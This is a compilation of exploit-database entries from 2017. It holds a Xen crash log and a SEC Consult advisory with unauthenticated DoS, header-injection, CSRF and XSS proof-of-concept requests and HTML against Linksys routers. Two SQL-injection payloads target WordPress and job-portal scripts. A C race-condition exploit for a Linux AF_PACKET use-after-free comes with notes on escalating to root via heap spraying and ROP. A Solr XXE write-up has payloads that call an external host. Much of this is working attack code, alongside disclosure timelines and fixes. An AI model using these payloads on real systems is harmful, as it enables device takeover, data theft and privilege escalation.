(XEN) [<ffff82d080169c96>] pv_hypercall+0xf6/0x1c0
(XEN) [<ffff82d08019bea3>] do_page_fault+0x163/0x4c0
(XEN) [<ffff82d080237abe>] entry.o#test_all_events+0/0x2a
(XEN)
(XEN)
(XEN) ****************************************
(XEN) Panic on CPU 0:
(XEN) DOUBLE FAULT -- system shutdown
(XEN) ****************************************
(XEN)
(XEN) Reboot in five seconds...
==============================
This PoC just causes a DoS, but as far as I can tell, Xen only uses
guard pages for the stack (via memguard_guard_stack()) in debug builds,
which would mean that this is a potentially exploitable issue in release builds.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43014.zip
SEC Consult Vulnerability Lab Security Advisory < 20171018-1 >
=======================================================================
title: Multiple vulnerabilities
product: Linksys E series, see "Vulnerable / tested versions"
vulnerable version: see "Vulnerable / tested versions"
fixed version: no public fix, see solution/timeline
CVE number: -
impact: high
homepage: http://www.linksys.com/
found: 2017-06-26
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Today, Belkin International has three brands – Belkin, Linksys and WeMo
– to enhance the technology that connects us to the people, activities
and experiences we love. Belkin products are renowned for their
simplicity and ease of use, while our Linksys brand helped make
wireless connectivity mainstream around the globe. Our newest brand,
WeMo, is the leader in delivering customizable smart home experiences.
Its product platform empowers people to monitor, measure and manage
their electronics, appliances and lighting at home and on-the-go."
Source: http://www.belkin.com/uk/aboutUs/
Business recommendation:
------------------------
SEC Consult recommends not to use this product in a production environment
until a thorough security review has been performed by security
professionals and all identified issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1) Denial of Service (DoS)
A denial of service vulnerability is present in the web server of the
device. This vulnerability is very simple to trigger since a single GET
request to a cgi-script is sufficient.
A crafted GET request, e.g. triggered by CSRF over a user in the
internal network, can reboot the whole device or freeze the web interface
and the DHCP service. This action does not require authentication.
2) HTTP Header Injection & Open Redirect
Due to a flaw in the web service a header injection can be triggered
without authentication. This kind of vulnerability can be used to perform
different arbitrary actions. One example in this case is an open redirection
to another web site. In the worst case a session ID of an authenticated user
can be stolen this way because the session ID is embedded into the url
which is another flaw of the web service.
3) Improper Session-Protection
The session ID for administrative users can be fetched from the device from
LAN without credentials because of insecure session handling.
This vulnerability can only be exploited when an administrator was
authenticated to the device before the attack and opened a session previously.
The login works if the attacker has the same IP address as the PC
of the legitimate administrator. Therefore, a CSRF attack is possible when
the administrator is lured to surf on a malicious web site or to click on
a malicious link.
4) Cross-Site Request Forgery Vulnerability in Admin Interface
A cross-site request forgery vulnerability can be triggered in the
administrative interface. This vulnerability can be exploited because the
session ID can be hijacked by using 3) via LAN. An exploitation via internet
is only possible if the session id is exposed to the internet (for example via
the referrer).
An attacker can change any configuration of the device by luring a user to
click on a malicious link or surf to a malicious web-site.
5) Cross-Site Scripting Vulnerability in Admin Interface
A cross-site scripting vulnerability can be triggered in the administrative
interface. This vulnerability can be exploited because the session ID can
be hijacked by using 3) via LAN. An exploitation via internet is only possible
if the session id is exposed to the internet (for example via the referrer).
By using this vulnerability, malicious code can be executed in the context of
the browser session of the attacked user.
Proof of concept:
-----------------
1) Denial of Service
Unauthenticated request for triggering a router reboot in browser:
http://<Router-IP>/upgrade.cgi
http://<Router-IP>/restore.cgi
Unauthenticated request for triggering a router freeze in browser:
http://<Router-IP>/mfgtst.cgi
2) HTTP Header Injection & Open Redirect
A header injection can be triggered by the following unauthenticated request:
Request:
------------------------------------------------------------------------------
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Referer: http://<Router-IP>/Unsecured.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=INJEC%0d%0aTION&change_action=
------------------------------------------------------------------------------
Response:
------------------------------------------------------------------------------
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:41 GMT
Location: http://INJEC
TION
Content-Type: text/plain
Connection: close
------------------------------------------------------------------------------
Setting a new location will result in an open redirect:
Request:
------------------------------------------------------------------------------
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=www.sec-consult.com&change_action=
------------------------------------------------------------------------------
Response:
------------------------------------------------------------------------------
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:57 GMT
Location: http://www.sec-consult.com
Content-Type: text/plain
Connection: close
------------------------------------------------------------------------------
3) Improper Session-Protection
These two requests can be used to fetch the current session ID of an authenticated
user.
http://<Device-IP>/BlockTime.asp
http://<Device-IP>/BlockSite.asp
The response is nearly the same (except the "inetblock" and "blocksite"
functions):
-------------------------------------------------------------------------------
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:04:32 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
[...]
function init()
{
var close_session = "0";
if ( close_session == "1" )
{
document.forms[0].action= "hndUnblock.cgi";
}
else
{
document.forms[0].action= "hndUnblock.cgi?session_id=<Session-ID>";
}
}
</script>
</head>
<body id="blocked" onload=init()>
<div id="content">
<div class="h1">
<h1><span><script>Capture(hndmsg.blocksite)</script>
</span>
</h1>
</div>
[...]
</body>
</html>
-------------------------------------------------------------------------------
4) Cross-Site Request Forgery Vulnerability in Admin Interface
The following proof of concept HTML code can change the router password by
exploiting CSRF after replacing the <Session-ID> with the fetched one from 3).
The new password is "secconsult".
-------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
<input type="hidden" name="submit_button" value="Management" />
<input type="hidden" name="change_action" value="" />
<input type="hidden" name="gui_action" value="Apply" />
<input type="hidden" name="PasswdModify" value="1" />
<input type="hidden" name="http_enable" value="1" />
<input type="hidden" name="https_enable" value="0" />
<input type="hidden" name="ctm404_enable" value="" />
<input type="hidden" name="remote_mgt_https" value="0" />
<input type="hidden" name="wait_time" value="4" />
<input type="hidden" name="need_reboot" value="0" />
<input type="hidden" name="http_passwd" value="secconsult" />
<input type="hidden" name="http_passwdConfirm" value="secconsult" />
<input type="hidden" name="_http_enable" value="1" />
<input type="hidden" name="web_wl_filter" value="0" />
<input type="hidden" name="remote_management" value="0" />
<input type="hidden" name="nf_alg_sip" value="0" />
<input type="hidden" name="upnp_enable" value="1" />
<input type="hidden" name="upnp_config" value="1" />
<input type="hidden" name="upnp_internet_dis" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-------------------------------------------------------------------------------
5) Cross-Site Scripting Vulnerability in Admin Interface
The <Session-ID> must be replaced again. The "apply.cgi" script can be abused
to trigger the cross-site scripting vulnerability.
-------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
<input type="hidden" name="submit_button" value="index" />
<input type="hidden" name="change_action" value="" />
<input type="hidden" name="submit_type" value="" />
<input type="hidden" name="gui_action" value="Apply" />
<input type="hidden" name="now_proto" value="dhcp" />
<input type="hidden" name="daylight_time" value="1" />
<input type="hidden" name="switch_mode" value="0" />
<input type="hidden" name="hnap_devicename" value="csrft_POC" />
<input type="hidden" name="need_reboot" value="0" />
<input type="hidden" name="user_language" value="" />
<input type="hidden" name="wait_time" value="1';alert('XSS-PoC')//155" />
<input type="hidden" name="dhcp_start" value="100" />
<input type="hidden" name="dhcp_start_conflict" value="0" />
<input type="hidden" name="lan_ipaddr" value="4" />
<input type="hidden" name="ppp_demand_pppoe" value="9" />
<input type="hidden" name="ppp_demand_pptp" value="9" />
<input type="hidden" name="ppp_demand_l2tp" value="9" />
<input type="hidden" name="ppp_demand_hb" value="9" />
<input type="hidden" name="wan_ipv6_proto" value="dhcp" />
<input type="hidden" name="detect_lang" value="en" />
<input type="hidden" name="wan_proto" value="dhcp" />
<input type="hidden" name="wan_hostname" value="" />
<input type="hidden" name="wan_domain" value="" />
<input type="hidden" name="mtu_enable" value="0" />
<input type="hidden" name="lan_ipaddr_0" value="192" />
<input type="hidden" name="lan_ipaddr_1" value="168" />
<input type="hidden" name="lan_ipaddr_2" value="1" />
<input type="hidden" name="lan_ipaddr_3" value="1" />
<input type="hidden" name="lan_netmask" value="255.255.255.0" />
<input type="hidden" name="machine_name" value="Linksys09355" />
<input type="hidden" name="lan_proto" value="dhcp" />
<input type="hidden" name="dhcp_check" value="" />
<input type="hidden" name="dhcp_start_tmp" value="100" />
<input type="hidden" name="dhcp_num" value="50" />
<input type="hidden" name="dhcp_lease" value="0" />
<input type="hidden" name="wan_dns" value="4" />
<input type="hidden" name="wan_dns0_0" value="0" />
<input type="hidden" name="wan_dns0_1" value="0" />
<input type="hidden" name="wan_dns0_2" value="0" />
<input type="hidden" name="wan_dns0_3" value="0" />
<input type="hidden" name="wan_dns1_0" value="0" />
<input type="hidden" name="wan_dns1_1" value="0" />
<input type="hidden" name="wan_dns1_2" value="0" />
<input type="hidden" name="wan_dns1_3" value="0" />
<input type="hidden" name="wan_dns2_0" value="0" />
<input type="hidden" name="wan_dns2_1" value="0" />
<input type="hidden" name="wan_dns2_2" value="0" />
<input type="hidden" name="wan_dns2_3" value="0" />
<input type="hidden" name="wan_wins" value="4" />
<input type="hidden" name="wan_wins_0" value="0" />
<input type="hidden" name="wan_wins_1" value="0" />
<input type="hidden" name="wan_wins_2" value="0" />
<input type="hidden" name="wan_wins_3" value="0" />
<input type="hidden" name="time_zone" value="-08 1 1" />
<input type="hidden" name="_daylight_time" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
Linksys E2500 - 3.0.02 (build 2)
According to the Linksys security contact the following products are
affected too:
Linksys E900 (Version: 1.0.06)
Linksys E1200 (Version: 2.0.07 Build 5)
Linksys E8400 AC2400 Dual-Band Wi-Fi Router (Version: basic version ?)
Based on information embedded in the firmware of other Linksys products
gathered from our IoT Inspector tool we believe the following devices
are affected as well:
Linksys E900 (Version: 1.0.06) -- confirmed by vendor
Linksys E900-ME (Version: 1.0.06)
Linksys E1200 (Version: 2.0.07 Build 5) -- confirmed by vendor
Linksys E1500 (Version: 1.0.06 Build 1)
Linksys E3200 (Version: 1.0.05 Build 2)
Linksys E4200 (Version: 1.0.06 Build 3)
Linksys WRT54G2 (Version: 1.5.02 Build 5)
Vendor contact timeline:
------------------------
2017-07-10: Contacting vendor through security@linksys.com. Set release date
to 2017-08-29.
2017-07-12: Confirmation of recipient. The contact also states that
the unit is older and they have to look for it.
2017-08-07: Asking for update; Contact responds that they have to look for
such a unit in their inventory.
2017-08-08: Contact responds that he verified three of four vulnerabilities.
2017-08-09: Sent PCAP dump and more information about vulnerability #4 to
assist the contact with verification.
2017-08-18: Sending new advisory version to contact and asking for an update;
No answer.
2017-08-22: Asking for an update; Contact states that he is trying to get a
fixed firmware from the OEM.
2017-08-24: Asked the vendor how much additional time he will need.
2017-08-25: Vendor states that it is difficult to get an update from the OEM
due to the age of the product ("Many of the engineers who
originally worked on this code base are no longer with the
company"). Clarified some CORS/SOP issues which were
misunderstood.
2017-08-30: Sending Proof of Concept for CSRF/XSS as HTML files to the vendor.
Changed the vulnerability description of the advisory to
explain the possibility of exploiting the CSRF/XSS vulnerabilities
from LAN and WAN side.
2017-09-07: Asking for an update; Vendor agrees with the new vulnerability
descriptions and states that the OEM got back to them with a fix
for the E2500 and they are in the QA phase. The vendor is expecting
fixes for E900, E1200, and E8400 later this week or next week to
hand them over to QA.
2017-09-07: Stated that E8400 was not found by the IoT Inspector because there
was no firmware available to download online. Stated that it will
be available in the next version of the advisory. Shifting the
advisory release to 2017-09-26.
Asking for confirmation of the other reported devices:
Linksys E900-ME (Version: 1.0.06)
Linksys E1500 (Version: 1.0.06 Build 1)
Linksys E3200 (Version: 1.0.05 Build 2)
Linksys E4200 (Version: 1.0.06 Build 3)
Linksys WRT54G2 (Version: 1.5.02 Build 5)
No answer.
2017-09-18: Sending new version of the advisory to the vendor. Asking for an
update; No answer.
2017-09-21: Asking for an update; No answer.
2017-09-26: Asking for an update; No answer.
2017-10-02: Asking for an update and shifting the advisory release to
2017-10-09; No answer.
2017-10-16: Informing the vendor that the advisory will be released on
2017-10-18 because vendor is unresponsive.
2017-10-18: Public release of security advisory
Solution:
---------
Upgrade to new firmware version as soon as the vendor publishes it.
Workaround:
-----------
Restrict network access to the device.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2017
# Exploit Title: Wordpress Plugin Car Park Booking - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Software Link: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Version: 13 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-10-17
Product & Service Introduction:
===============================
Generate more sales, enhance your car park booking service, and have more time to organize the business.
Technical Details & Description:
================================
SQL injection on [space_id] parameter.
Proof of Concept (PoC):
=======================
SQLi:
https://localhost/[path]/booking-page/?step=3&space_id=9 AND SLEEP(5)&re_price=12
Parameter: space_id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: step=3&space_id=9 AND SLEEP(5)&re_price=12
==================
8bitsec - [https://twitter.com/_8bitsec]
# Exploit Title: Career Portal v1.0 - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Software Link: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-10-17
Product & Service Introduction:
===============================
Career Portal is developed for creating an interactive job vacancy for candidates.
Technical Details & Description:
================================
SQL injection on [keyword] parameter.
Proof of Concept (PoC):
=======================
SQLi:
https://localhost/[path]/job
Parameter: keyword (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: keyword=s_term') AND (SELECT 8133 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(8133=8133,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('kRoT'='kRoT&location_name[]=
Type: UNION query
Title: Generic UNION query (NULL) - 25 columns
Payload: keyword=s_term') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6a7171,0x594547646454726868515056467764674e59726f4252436844774f41704a507353574e4b6d5a5973,0x71787a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- zANd&location_name[]=
==================
8bitsec - [https://twitter.com/_8bitsec]
/*
Source: https://blogs.securiteam.com/index.php/archives/3484
Vulnerabilities summary
The following advisory describes a use-after-free vulnerability found in Linux Kernel’s implementation of AF_PACKET that can lead to privilege escalation.
AF_PACKET sockets “allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers”
Credit
The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
“It is quite likely that this is already fixed by:
packet: hold bind lock when rebinding to fanout hook – http://patchwork.ozlabs.org/patch/813945/
Also relevant, but not yet merged is
packet: in packet_do_bind, test fanout with bind_lock held – http://patchwork.ozlabs.org/patch/818726/
We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d).”
Vulnerabilities details
This use-after-free is due to a race condition between fanout_add (from setsockopt) and bind on a AF_PACKET socket.
The race will cause __unregister_prot_hook() from packet_do_bind() to set po->running to 0 even though a packet_fanout has been created from fanout_add().
This allows us to bypass the check in unregister_prot_hook() from packet_release() effectively causing the packet_fanout to be released and still being referenced from the packet_type linked list.
Crash Proof of Concept
*/
// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>
#define IS_ERR(c, s) { if (c) perror(s); }
struct sockaddr_ll {
unsigned short sll_family;
short sll_protocol; // big endian
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};
static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;
void *task1(void *unused)
{
int fanout_val = 0x3;
// need race: check on po->running
// also must be 1st or link wont register
int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
// IS_ERR(err == -1, "setsockopt");
}
void *task2(void *unused)
{
int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
// IS_ERR(err == -1, "bind");
}
void loop_race()
{
int err, index;
while(1) {
fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
IS_ERR(fd == -1, "socket");
strcpy((char *)&ifr.ifr_name, "lo");
err = ioctl(fd, SIOCGIFINDEX, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
index = ifr.ifr_ifindex;
err = ioctl(fd, SIOCGIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");
ifr.ifr_flags &= ~(short)IFF_UP;
err = ioctl(fd, SIOCSIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");
addr.sll_family = AF_PACKET;
addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
addr.sll_ifindex = index;
pthread_t thread1, thread2;
pthread_create (&thread1, NULL, task1, NULL);
pthread_create (&thread2, NULL, task2, NULL);
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
// UAF
close(fd);
}
}
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}
int main(int argc, char *argv[])
{
setup_sandbox();
system("id; capsh --print");
loop_race();
return 0;
}
/*
Crash report
[ 73.703931] dev_remove_pack: ffff880067cee280 not found
[ 73.717350] ==================================================================
[ 73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
[ 73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
[ 73.732594]
[ 73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
[ 73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[ 73.746433] Call Trace:
[ 73.747985] dump_stack+0x6c/0x9c
[ 73.749410] ? dev_add_pack+0x1b1/0x1f0
[ 73.751622] print_address_description+0x73/0x290
[ 73.753646] ? dev_add_pack+0x1b1/0x1f0
[ 73.757343] kasan_report+0x22b/0x340
[ 73.758839] __asan_report_store8_noabort+0x17/0x20
[ 73.760617] dev_add_pack+0x1b1/0x1f0
[ 73.761994] register_prot_hook.part.52+0x90/0xa0
[ 73.763675] packet_create+0x5e3/0x8c0
[ 73.765072] __sock_create+0x1d0/0x440
[ 73.766030] SyS_socket+0xef/0x1b0
[ 73.766891] ? move_addr_to_kernel+0x60/0x60
[ 73.769137] ? exit_to_usermode_loop+0x118/0x150
[ 73.771668] entry_SYSCALL_64_fastpath+0x13/0x94
[ 73.773754] RIP: 0033:0x44d8a7
[ 73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029
[ 73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7
[ 73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011
[ 73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0
[ 73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410
[ 73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000
[ 73.798567]
[ 73.799095] Allocated by task 1360:
[ 73.800300] save_stack_trace+0x16/0x20
[ 73.802533] save_stack+0x46/0xd0
[ 73.803959] kasan_kmalloc+0xad/0xe0
[ 73.805833] kmem_cache_alloc_trace+0xd7/0x190
[ 73.808233] packet_setsockopt+0x1d29/0x25c0
[ 73.810226] SyS_setsockopt+0x158/0x240
[ 73.811957] entry_SYSCALL_64_fastpath+0x13/0x94
[ 73.814636]
[ 73.815367] Freed by task 1175:
[ 73.816935] save_stack_trace+0x16/0x20
[ 73.821621] save_stack+0x46/0xd0
[ 73.825576] kasan_slab_free+0x72/0xc0
[ 73.827477] kfree+0x91/0x190
[ 73.828523] packet_release+0x700/0xbd0
[ 73.830162] sock_release+0x8d/0x1d0
[ 73.831612] sock_close+0x16/0x20
[ 73.832906] __fput+0x276/0x6d0
[ 73.834730] ____fput+0x15/0x20
[ 73.835998] task_work_run+0x121/0x190
[ 73.837564] exit_to_usermode_loop+0x131/0x150
[ 73.838709] syscall_return_slowpath+0x15c/0x1a0
[ 73.840403] entry_SYSCALL_64_fastpath+0x92/0x94
[ 73.842343]
[ 73.842765] The buggy address belongs to the object at ffff880067d28000
[ 73.842765] which belongs to the cache kmalloc-4096 of size 4096
[ 73.845897] The buggy address is located 2160 bytes inside of
[ 73.845897] 4096-byte region [ffff880067d28000, ffff880067d29000)
[ 73.851443] The buggy address belongs to the page:
[ 73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
[ 73.861329] flags: 0x100000000008100(slab|head)
[ 73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007
[ 73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000
[ 73.870617] page dumped because: kasan: bad access detected
[ 73.872456]
[ 73.872851] Memory state around the buggy address:
[ 73.874057] ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.876931] ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.880658] ^
[ 73.884772] ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.890978] ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.897763] ==================================================================
We know that the freed object is a kmalloc-4096 object:
```
struct packet_fanout {
possible_net_t net;
unsigned int num_members;
u16 id;
u8 type;
u8 flags;
union {
atomic_t rr_cur;
struct bpf_prog __rcu *bpf_prog;
};
struct list_head list;
struct sock *arr[PACKET_FANOUT_MAX];
spinlock_t lock;
refcount_t sk_ref;
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
```
and that its prot_hook member is the one being referenced in the packet handler when registered via dev_add_pack() from register_prot_hook() inside af_packet.c:
```
struct packet_type {
__be16 type; // This is really htons(ether_type).
struct net_device *dev; // NULL is wildcarded here
int (*func) (struct sk_buff *,
struct net_device *,
struct packet_type *,
struct net_device *);
bool (*id_match)(struct packet_type *ptype,
struct sock *sk);
void *af_packet_priv;
struct list_head list;
};
```
The function pointers inside of struct packet_type, and the fact it is in a big slab (kmalloc-4096) makes heap spraying easier and more reliable as bigger slabs are less often used by the kernel.
We can use usual kernel heap spraying to replace the content of the freed packet_fanout object by using for example sendmmsg() or any other mean.
Even if the allocation is not permanent, it will still replace the targeted content in packet_fanout (ie. the function pointers) and due to the fact that kmalloc-4096 is very stable, it is very less likely that another allocation will corrupt our payload.
id_match() will be called when sending a skb via dev_queue_xmit() which can be reached via a sendmsg on a AF_PACKET socket. It will loop through the list of packet handler calling id_match() if not NULL. Thus, we have a PC control situation.
Once we know where the code section of the kernel is, we can pivot the kernel stack into our fake packet_fanout object and ROP. The first argument ptype contains the address of the prot_hook member of our fake object, which allows us to know where to pivot.
Once into ROP, we can jump into native_write_c4(x) to disable SMEP/SMAP, and then we could think about jumping back into a userland mmaped executable payload that would call commit_creds(prepare_kernel_cred(0)) to elevate our user process privilege to root.
*/
First Vulnerability: XML External Entity Expansion (deftype=xmlparser)
Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.
The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):
Example usage: http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}
When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition.
Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.
For example, this vulnerability could be user to send malicious data to the '/upload' handler:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.
Vulnerable code location:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Steps to reproduce:
1. Set up a listener on any port by using netcat command "nc -lv 4444"
2. Open http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}
3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved.
Remediation suggestions:
Consider adding the following lines to /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java:
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
